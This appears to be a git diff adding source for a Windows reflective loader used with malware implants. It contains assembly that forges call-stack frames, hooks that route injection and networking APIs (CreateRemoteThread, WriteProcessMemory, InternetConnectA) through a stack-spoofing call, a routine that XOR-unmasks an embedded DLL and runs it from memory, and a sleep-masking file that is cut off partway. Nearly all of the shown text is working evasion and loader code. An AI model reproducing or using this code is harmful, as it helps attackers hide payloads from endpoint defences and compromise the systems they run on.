--------------------------------------------------------------------- + + xor r11, r11 ; r11 will hold the # of args that have been "pushed" + mov r13, [ rsp + 0x30 ] ; r13 will hold the # of args total that will be pushed + + mov r14, 0x200 ; r14 will hold the offset we need to push stuff + add r14, 8 + add r14, [ rdi + 56 ] ; stack size of RUTS + add r14, [ rdi + 48 ] ; stack size of BTIT + add r14, [ rdi + 32 ] ; stack size of our gadget frame + sub r14, 0x20 ; first stack arg is located at +0x28 from rsp, so we sub 0x20 from the offset. Loop will sub 0x8 each time + + mov r10, rsp + add r10, 0x30 ; offset of stack arg added to rsp + + looping: + xor r15, r15 ; r15 will hold the offset + rsp base + cmp r11d, r13d ; comparing # of stack args added vs # of stack args we need to add + je finish + + ; --------------------------------------------------------------------- + ; Getting location to move the stack arg to + ; --------------------------------------------------------------------- + + sub r14, 8 ; 1 arg means r11 is 0, r14 already 0x28 offset. + mov r15, rsp ; get current stack base + sub r15, r14 ; subtract offset + + ; --------------------------------------------------------------------- + ; Procuring the stack arg + ; --------------------------------------------------------------------- + + add r10, 8 + + push qword [ r10 ] + pop qword [ r15 ] + + ; --------------------------------------------------------------------- + ; Increment the counter and loop back in case we need more args + ; --------------------------------------------------------------------- + add r11, 1 + jmp looping + + finish: + + ; ---------------------------------------------------------------------- + ; Creating a big 320 byte working space + ; ---------------------------------------------------------------------- + + sub rsp, 0x200 + + ; ---------------------------------------------------------------------- + ; Pushing a 0 to cut off the return addresses after RtlUserThreadStart. + ; Need to figure out why this cuts off the call stack + ; ---------------------------------------------------------------------- + + push 0 + + ; ---------------------------------------------------------------------- + ; RtlUserThreadStart + 0x14 frame + ; ---------------------------------------------------------------------- + + sub rsp, [ rdi + 56 ] + mov r11, [ rdi + 64 ] + mov [ rsp ], r11 + + ; ---------------------------------------------------------------------- + ; BaseThreadInitThunk + 0x21 frame + ; ---------------------------------------------------------------------- + + sub rsp, [ rdi + 32 ] + mov r11, [ rdi + 40 ] + mov [ rsp ], r11 + + ; ---------------------------------------------------------------------- + ; Gadget frame + ; ---------------------------------------------------------------------- + + sub rsp, [ rdi + 48 ] + mov r11, [ rdi + 80 ] + mov [ rsp ], r11 + + ; ---------------------------------------------------------------------- + ; Adjusting the param struct for the fixup + ; ---------------------------------------------------------------------- + + mov r11, rsi ; Copying function to call into r11 + + mov [ rdi + 8 ], r12 ; Real return address is now moved into the "OG_retaddr" member + mov [ rdi + 16 ], rbx ; original rbx is stored into "rbx" member + lea rbx, [ rel fixup ] ; Fixup address is moved into rbx + mov [ rdi ], rbx ; Fixup member now holds the address of Fixup + mov rbx, rdi ; Address of param struct (Fixup) is moved into rbx + + ; ---------------------------------------------------------------------- + ; Syscall stuff. Shouldn't affect performance even if a syscall isnt made + ; ---------------------------------------------------------------------- + mov r10, rcx + mov rax, [ rdi + 72 ] + + jmp r11 + + fixup: + mov rcx, rbx + add rsp, 0x200 ; Big frame thing + add rsp, [ rbx + 48 ] ; Stack size + add rsp, [ rbx + 32 ] ; Stack size + add rsp, [ rbx + 56 ] ; Stack size + + mov rbx, [ rcx + 16 ] ; Restoring OG RBX + mov rdi, [ rcx + 24 ] ; ReStoring OG rdi + mov rsi, [ rcx + 88 ] ; ReStoring OG rsi + mov r12, [ rcx + 96 ] ; ReStoring OG r12 + mov r13, [ rcx + 104 ] ; ReStoring OG r13 + mov r14, [ rcx + 112 ] ; ReStoring OG r14 + mov r15, [ rcx + 120 ] ; ReStoring OG r15 + push rax + + xor rax, rax + pop rax + jmp QWORD [ rcx + 8 ] diff --git a/loader/src/hooks.c b/loader/src/hooks.c new file mode 100644 index 0000000..4abb249 --- /dev/null +++ b/loader/src/hooks.c @@ -0,0 +1,420 @@ +#include +#include +#include +#include "tcg.h" +#include "memory.h" +#include "spoof.h" + +DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetConnectA ( HINTERNET, LPCSTR, INTERNET_PORT, LPCSTR, LPCSTR, DWORD, DWORD, DWORD_PTR ); +DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetOpenA ( LPCSTR, DWORD, LPCSTR, LPCSTR, DWORD ); + +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle ( HANDLE ); +DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileMappingA ( HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateProcessA ( LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION ); +DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateRemoteThread ( HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD ); +DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateThread ( LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$DuplicateHandle ( HANDLE, HANDLE, HANDLE, LPHANDLE, DWORD, BOOL, DWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$GetThreadContext ( HANDLE, LPCONTEXT ); +DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$MapViewOfFile ( HANDLE, DWORD, DWORD, DWORD, SIZE_T ); +DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess ( DWORD, BOOL, DWORD ); +DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenThread ( DWORD, BOOL, DWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory ( HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T * ); +DECLSPEC_IMPORT DWORD WINAPI KERNEL32$ResumeThread ( HANDLE ); +DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$SetThreadContext ( HANDLE, const CONTEXT * ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$UnmapViewOfFile ( LPCVOID ); +DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD ); +DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAllocEx ( HANDLE, LPVOID, SIZE_T, DWORD, DWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtectEx ( HANDLE, LPVOID, SIZE_T, DWORD, PDWORD ); +DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$VirtualQuery ( LPCVOID, PMEMORY_BASIC_INFORMATION, SIZE_T ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteProcessMemory ( HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T * ); + +DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance ( REFCLSID, LPUNKNOWN, DWORD, REFIID, LPVOID * ); + +DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN ); + +// cannot put this here because it fails to build +// to PIC when hooks.x64.o is merged into the loader +// extern MEMORY_LAYOUT g_memory; + +HINTERNET WINAPI _InternetOpenA ( LPCSTR lpszAgent, DWORD dwAccessType, LPCSTR lpszProxy, LPCSTR lpszProxyBypass, DWORD dwFlags ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( WININET$InternetOpenA ); + call.argc = 5; + call.args [ 0 ] = spoof_arg ( lpszAgent ); + call.args [ 1 ] = spoof_arg ( dwAccessType ); + call.args [ 2 ] = spoof_arg ( lpszProxy ); + call.args [ 3 ] = spoof_arg ( lpszProxyBypass ); + call.args [ 4 ] = spoof_arg ( dwFlags ); + + return ( HINTERNET ) spoof_call ( &call ); +} + +HINTERNET WINAPI _InternetConnectA ( HINTERNET hInternet, LPCSTR lpszServerName, INTERNET_PORT nServerPort, LPCSTR lpszUserName, LPCSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD_PTR dwContext ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( WININET$InternetConnectA ); + call.argc = 8; + call.args [ 0 ] = spoof_arg ( hInternet ); + call.args [ 1 ] = spoof_arg ( lpszServerName ); + call.args [ 2 ] = spoof_arg ( nServerPort ); + call.args [ 3 ] = spoof_arg ( lpszUserName ); + call.args [ 4 ] = spoof_arg ( lpszPassword ); + call.args [ 5 ] = spoof_arg ( dwService ); + call.args [ 6 ] = spoof_arg ( dwFlags ); + call.args [ 7 ] = spoof_arg ( dwContext ); + + return ( HINTERNET ) spoof_call ( &call ); +} + +BOOL WINAPI _CloseHandle ( HANDLE hObject ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$CloseHandle ); + call.argc = 1; + + call.args [ 0 ] = spoof_arg ( hObject ); + + return ( BOOL ) spoof_call ( &call ); +} + +HANDLE WINAPI _CreateFileMappingA ( HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$CreateFileMappingA ); + call.argc = 6; + + call.args [ 0 ] = spoof_arg ( hFile ); + call.args [ 1 ] = spoof_arg ( lpFileMappingAttributes ); + call.args [ 2 ] = spoof_arg ( flProtect ); + call.args [ 3 ] = spoof_arg ( dwMaximumSizeHigh ); + call.args [ 4 ] = spoof_arg ( dwMaximumSizeLow ); + call.args [ 5 ] = spoof_arg ( lpName ); + + return ( HANDLE ) spoof_call ( &call ); +} + +BOOL _CreateProcessA ( LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$CreateProcessA ); + call.argc = 10; + + call.args [ 0 ] = spoof_arg ( lpApplicationName ); + call.args [ 1 ] = spoof_arg ( lpCommandLine ); + call.args [ 2 ] = spoof_arg ( lpProcessAttributes ); + call.args [ 3 ] = spoof_arg ( lpThreadAttributes ); + call.args [ 4 ] = spoof_arg ( bInheritHandles ); + call.args [ 5 ] = spoof_arg ( dwCreationFlags ); + call.args [ 6 ] = spoof_arg ( lpEnvironment ); + call.args [ 7 ] = spoof_arg ( lpCurrentDirectory ); + call.args [ 8 ] = spoof_arg ( lpStartupInfo ); + call.args [ 9 ] = spoof_arg ( lpProcessInformation ); + + return ( BOOL ) spoof_call ( &call ); +} + +HANDLE WINAPI _CreateRemoteThread ( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$CreateRemoteThread ); + call.argc = 7; + + call.args [ 0 ] = spoof_arg ( hProcess ); + call.args [ 1 ] = spoof_arg ( lpThreadAttributes ); + call.args [ 2 ] = spoof_arg ( dwStackSize ); + call.args [ 3 ] = spoof_arg ( lpStartAddress ); + call.args [ 4 ] = spoof_arg ( lpParameter ); + call.args [ 5 ] = spoof_arg ( dwCreationFlags ); + call.args [ 6 ] = spoof_arg ( lpThreadId ); + + return ( HANDLE ) spoof_call ( &call ); +} + +HANDLE WINAPI _CreateThread ( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$CreateThread ); + call.argc = 6; + + call.args [ 0 ] = spoof_arg ( lpThreadAttributes ); + call.args [ 1 ] = spoof_arg ( dwStackSize ); + call.args [ 2 ] = spoof_arg ( lpStartAddress ); + call.args [ 3 ] = spoof_arg ( lpParameter ); + call.args [ 4 ] = spoof_arg ( dwCreationFlags ); + call.args [ 5 ] = spoof_arg ( lpThreadId ); + + return ( HANDLE ) spoof_call ( &call ); +} + +HRESULT WINAPI _CoCreateInstance ( REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID * ppv ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( OLE32$CoCreateInstance ); + call.argc = 5; + + call.args [ 0 ] = spoof_arg ( rclsid ); + call.args [ 1 ] = spoof_arg ( pUnkOuter ); + call.args [ 2 ] = spoof_arg ( dwClsContext ); + call.args [ 3 ] = spoof_arg ( riid ); + call.args [ 4 ] = spoof_arg ( ppv ); + + return ( HRESULT ) spoof_call ( &call ); +} + +BOOL WINAPI _DuplicateHandle ( HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$DuplicateHandle ); + call.argc = 7; + + call.args [ 0 ] = spoof_arg ( hSourceProcessHandle ); + call.args [ 1 ] = spoof_arg ( hSourceHandle ); + call.args [ 2 ] = spoof_arg ( hTargetProcessHandle ); + call.args [ 3 ] = spoof_arg ( lpTargetHandle ); + call.args [ 4 ] = spoof_arg ( dwDesiredAccess ); + call.args [ 5 ] = spoof_arg ( bInheritHandle ); + call.args [ 6 ] = spoof_arg ( dwOptions ); + + return ( BOOL ) spoof_call ( &call ); +} + +HMODULE WINAPI _LoadLibraryA ( LPCSTR lpLibFileName ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( LoadLibraryA ); + call.argc = 1; + + call.args [ 0 ] = spoof_arg ( lpLibFileName ); + + return ( HMODULE ) spoof_call ( &call ); +} + +BOOL WINAPI _GetThreadContext ( HANDLE hThread, LPCONTEXT lpContext ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$GetThreadContext ); + call.argc = 2; + + call.args [ 0 ] = spoof_arg ( hThread ); + call.args [ 1 ] = spoof_arg ( lpContext ); + + return ( BOOL ) spoof_call ( &call ); +} + +LPVOID WINAPI _MapViewOfFile ( HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$MapViewOfFile ); + call.argc = 5; + + call.args [ 0 ] = spoof_arg ( hFileMappingObject ); + call.args [ 1 ] = spoof_arg ( dwDesiredAccess ); + call.args [ 2 ] = spoof_arg ( dwFileOffsetHigh ); + call.args [ 3 ] = spoof_arg ( dwFileOffsetLow ); + call.args [ 4 ] = spoof_arg ( dwNumberOfBytesToMap ); + + return ( LPVOID ) spoof_call ( &call ); +} + +HANDLE WINAPI _OpenProcess ( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$OpenProcess ); + call.argc = 3; + + call.args [ 0 ] = spoof_arg ( dwDesiredAccess ); + call.args [ 1 ] = spoof_arg ( bInheritHandle ); + call.args [ 2 ] = spoof_arg ( dwProcessId ); + + return ( HANDLE ) spoof_call ( &call ); +} + +HANDLE WINAPI _OpenThread ( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$OpenThread ); + call.argc = 3; + + call.args [ 0 ] = spoof_arg ( dwDesiredAccess ); + call.args [ 1 ] = spoof_arg ( bInheritHandle ); + call.args [ 2 ] = spoof_arg ( dwThreadId ); + + return ( HANDLE ) spoof_call ( &call ); +} + +BOOL WINAPI _ReadProcessMemory ( HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesRead ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$ReadProcessMemory ); + call.argc = 5; + + call.args [ 0 ] = spoof_arg ( hProcess ); + call.args [ 1 ] = spoof_arg ( lpBaseAddress ); + call.args [ 2 ] = spoof_arg ( lpBuffer ); + call.args [ 3 ] = spoof_arg ( nSize ); + call.args [ 4 ] = spoof_arg ( lpNumberOfBytesRead ); + + return ( BOOL ) spoof_call ( &call ); +} + +DWORD WINAPI _ResumeThread ( HANDLE hThread ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$ResumeThread ); + call.argc = 1; + + call.args [ 0 ] = spoof_arg ( hThread ); + + return ( DWORD ) spoof_call ( &call ); +} + +BOOL WINAPI _SetThreadContext ( HANDLE hThread, const CONTEXT * lpContext ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$SetThreadContext ); + call.argc = 2; + + call.args [ 0 ] = spoof_arg ( hThread ); + call.args [ 1 ] = spoof_arg ( lpContext ); + + return ( BOOL ) spoof_call ( &call ); +} + +BOOL WINAPI _UnmapViewOfFile ( LPCVOID lpBaseAddress ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$UnmapViewOfFile ); + call.argc = 1; + + call.args [ 0 ] = spoof_arg ( lpBaseAddress ); + + return ( BOOL ) spoof_call ( &call ); +} + +LPVOID WINAPI _VirtualAlloc ( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$VirtualAlloc ); + call.argc = 4; + + call.args [ 0 ] = spoof_arg ( lpAddress ); + call.args [ 1 ] = spoof_arg ( dwSize ); + call.args [ 2 ] = spoof_arg ( flAllocationType ); + call.args [ 3 ] = spoof_arg ( flProtect ); + + return ( LPVOID ) spoof_call ( &call ); +} + +LPVOID WINAPI _VirtualAllocEx ( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$VirtualAllocEx ); + call.argc = 5; + + call.args [ 0 ] = spoof_arg ( hProcess ); + call.args [ 1 ] = spoof_arg ( lpAddress ); + call.args [ 2 ] = spoof_arg ( dwSize ); + call.args [ 3 ] = spoof_arg ( flAllocationType ); + call.args [ 4 ] = spoof_arg ( flProtect ); + + return ( LPVOID ) spoof_call ( &call ); +} + +BOOL WINAPI _VirtualFree ( LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$VirtualFree ); + call.argc = 3; + + call.args [ 0 ] = spoof_arg ( lpAddress ); + call.args [ 1 ] = spoof_arg ( dwSize ); + call.args [ 2 ] = spoof_arg ( dwFreeType ); + + return ( BOOL ) spoof_call ( &call ); +} + +BOOL WINAPI _VirtualProtect ( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$VirtualProtect ); + call.argc = 4; + + call.args [ 0 ] = spoof_arg ( lpAddress ); + call.args [ 1 ] = spoof_arg ( dwSize ); + call.args [ 2 ] = spoof_arg ( flNewProtect ); + call.args [ 3 ] = spoof_arg ( lpflOldProtect ); + + return ( BOOL ) spoof_call ( &call ); +} + +BOOL WINAPI _VirtualProtectEx ( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$VirtualProtectEx ); + call.argc = 5; + + call.args [ 0 ] = spoof_arg ( hProcess ); + call.args [ 1 ] = spoof_arg ( lpAddress ); + call.args [ 2 ] = spoof_arg ( dwSize ); + call.args [ 3 ] = spoof_arg ( flNewProtect ); + call.args [ 4 ] = spoof_arg ( lpflOldProtect ); + + return ( BOOL ) spoof_call ( &call ); +} + +SIZE_T WINAPI _VirtualQuery ( LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$VirtualQuery ); + call.argc = 3; + + call.args [ 0 ] = spoof_arg ( lpAddress ); + call.args [ 1 ] = spoof_arg ( lpBuffer ); + call.args [ 2 ] = spoof_arg ( dwLength ); + + return ( SIZE_T ) spoof_call ( &call ); +} + +BOOL WINAPI _WriteProcessMemory ( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesWritten ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$WriteProcessMemory ); + call.argc = 5; + + call.args [ 0 ] = spoof_arg ( hProcess ); + call.args [ 1 ] = spoof_arg ( lpBaseAddress ); + call.args [ 2 ] = spoof_arg ( lpBuffer ); + call.args [ 3 ] = spoof_arg ( nSize ); + call.args [ 4 ] = spoof_arg ( lpNumberOfBytesWritten ); + + return ( BOOL ) spoof_call ( &call ); +} diff --git a/loader/src/loader.c b/loader/src/loader.c new file mode 100644 index 0000000..6f0f350 --- /dev/null +++ b/loader/src/loader.c @@ -0,0 +1,146 @@ +#include +#include "loader.h" +#include "tcg.h" +#include "memory.h" + +DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD ); + +char _PICO_ [ 0 ] __attribute__ ( ( section ( "pico" ) ) ); +char _MASK_ [ 0 ] __attribute__ ( ( section ( "mask" ) ) ); +char _DLL_ [ 0 ] __attribute__ ( ( section ( "dll" ) ) ); + +int __tag_setup_hooks ( ); +int __tag_setup_memory ( ); + +typedef void ( * SETUP_HOOKS ) ( IMPORTFUNCS * funcs ); +typedef void ( * SETUP_MEMORY ) ( MEMORY_LAYOUT * layout ); + +void fix_section_permissions ( DLLDATA * dll, char * src, char * dst, MEMORY_REGION * region ) +{ + DWORD section_count = dll->NtHeaders->FileHeader.NumberOfSections; + IMAGE_SECTION_HEADER * section_hdr = NULL; + void * section_dst = NULL; + DWORD section_size = 0; + DWORD new_protect = 0; + DWORD old_protect = 0; + + section_hdr = ( IMAGE_SECTION_HEADER * ) PTR_OFFSET ( dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader ); + + for ( int i = 0; i < section_count; i++ ) + { + section_dst = dst + section_hdr->VirtualAddress; + section_size = section_hdr->SizeOfRawData; + + if ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) { + new_protect = PAGE_WRITECOPY; + } + if ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) { + new_protect = PAGE_READONLY; + } + if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) ) { + new_protect = PAGE_READWRITE; + } + if ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) { + new_protect = PAGE_EXECUTE; + } + if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) { + new_protect = PAGE_EXECUTE_WRITECOPY; + } + if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) { + new_protect = PAGE_EXECUTE_READ; + } + if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) ) { + new_protect = PAGE_EXECUTE_READWRITE; + } + + /* set new permission */ + KERNEL32$VirtualProtect ( section_dst, section_size, new_protect, &old_protect ); + + /* track memory */ + region->Sections[ i ].BaseAddress = section_dst; + region->Sections[ i ].Size = section_size; + region->Sections[ i ].CurrentProtect = new_protect; + region->Sections[ i ].PreviousProtect = new_protect; + + /* advance to section */ + section_hdr++; + } +} + +void go ( ) +{ + /* populate funcs */ + IMPORTFUNCS funcs; + funcs.LoadLibraryA = LoadLibraryA; + funcs.GetProcAddress = GetProcAddress; + + /* load the pico */ + char * pico_src = GETRESOURCE ( _PICO_ ); + + /* allocate memory for it */ + PICO * pico_dst = ( PICO * ) KERNEL32$VirtualAlloc ( NULL, sizeof ( PICO ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE ); + + /* load it into memory */ + PicoLoad ( &funcs, pico_src, pico_dst->code, pico_dst->data ); + + /* make code section RX */ + DWORD old_protect; + KERNEL32$VirtualProtect ( pico_dst->code, PicoCodeSize ( pico_src ), PAGE_EXECUTE_READ, &old_protect ); + + /* begin tracking memory allocations */ + MEMORY_LAYOUT memory = { 0 }; + + memory.Pico.BaseAddress = ( PVOID ) ( pico_dst ); + memory.Pico.Size = sizeof ( PICO ); + + memory.Pico.Sections[ 0 ].BaseAddress = ( PVOID ) ( pico_dst->data ); + memory.Pico.Sections[ 0 ].Size = PicoDataSize ( pico_src ); + memory.Pico.Sections[ 0 ].CurrentProtect = PAGE_READWRITE; + memory.Pico.Sections[ 0 ].PreviousProtect = PAGE_READWRITE; + memory.Pico.Sections[ 1 ].BaseAddress = ( PVOID ) ( pico_dst->code ); + memory.Pico.Sections[ 1 ].Size = PicoCodeSize ( pico_src ); + memory.Pico.Sections[ 1 ].CurrentProtect = PAGE_EXECUTE_READ; + memory.Pico.Sections[ 1 ].PreviousProtect = PAGE_EXECUTE_READ; + + /* call setup_hooks to overwrite funcs.GetProcAddress */ + ( ( SETUP_HOOKS ) PicoGetExport ( pico_src, pico_dst->code, __tag_setup_hooks ( ) ) ) ( &funcs ); + + /* now load the dll (it's masked) */ + RESOURCE * masked_dll = ( RESOURCE * ) GETRESOURCE ( _DLL_ ); + RESOURCE * mask_key = ( RESOURCE * ) GETRESOURCE ( _MASK_ ); + + /* load dll into memory and unmask it */ + char * dll_src = KERNEL32$VirtualAlloc ( NULL, masked_dll->len, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE ); + + for ( int i = 0; i < masked_dll->len; i++ ) { + dll_src [ i ] = masked_dll->value [ i ] ^ mask_key->value [ i % mask_key->len ]; + } + + DLLDATA dll_data; + ParseDLL ( dll_src, &dll_data ); + + char * dll_dst = KERNEL32$VirtualAlloc ( NULL, SizeOfDLL ( &dll_data ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE ); + + LoadDLL ( &dll_data, dll_src, dll_dst ); + + /* track dll's memory */ + memory.Dll.BaseAddress = ( PVOID ) ( dll_dst ); + memory.Dll.Size = SizeOfDLL ( &dll_data ); + + ProcessImports ( &funcs, &dll_data, dll_dst ); + fix_section_permissions ( &dll_data, dll_src, dll_dst, &memory.Dll ); + + /* call setup_memory to give PICO the memory info */ + ( ( SETUP_MEMORY ) PicoGetExport ( pico_src, pico_dst->code, __tag_setup_memory ( ) ) ) ( &memory ); + + /* now run the DLL */ + DLLMAIN_FUNC entry_point = EntryPoint ( &dll_data, dll_dst ); + + /* free the unmasked copy */ + KERNEL32$VirtualFree ( dll_src, 0, MEM_RELEASE ); + + entry_point ( ( HINSTANCE ) dll_dst, DLL_PROCESS_ATTACH, NULL ); + entry_point ( ( HINSTANCE ) ( char * ) go, 0x4, NULL ); +} diff --git a/loader/src/loader.h b/loader/src/loader.h new file mode 100644 index 0000000..5bdf12b --- /dev/null +++ b/loader/src/loader.h @@ -0,0 +1,11 @@ +#define GETRESOURCE(x) ( char * ) &x + +typedef struct { + char data [ 4096 ]; + char code [ 16384 ]; +} PICO; + +typedef struct { + int len; + char value[]; +} RESOURCE; diff --git a/loader/src/mask.c b/loader/src/mask.c new file mode 100644 index 0000000..7afbe2d --- /dev/null +++ b/loader/src/mask.c @@ -0,0 +1,72 @@ +#include +#include "memory.h" +#include "spoof.h" + +DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD ); + +char xorkey [ 128 ] = { 1 }; + +void apply_mask ( char * data, DWORD len ) +{ + for ( DWORD i = 0; i < len; i++ ) + { + data [ i ] ^= xorkey [ i % 128 ]; + } +} + +BOOL is_writeable ( DWORD protection ) +{ + if ( protection == PAGE_EXECUTE_READWRITE || + protection == PAGE_EXECUTE_WRITECOPY || + protection == PAGE_READWRITE || + protection == PAGE_WRITECOPY 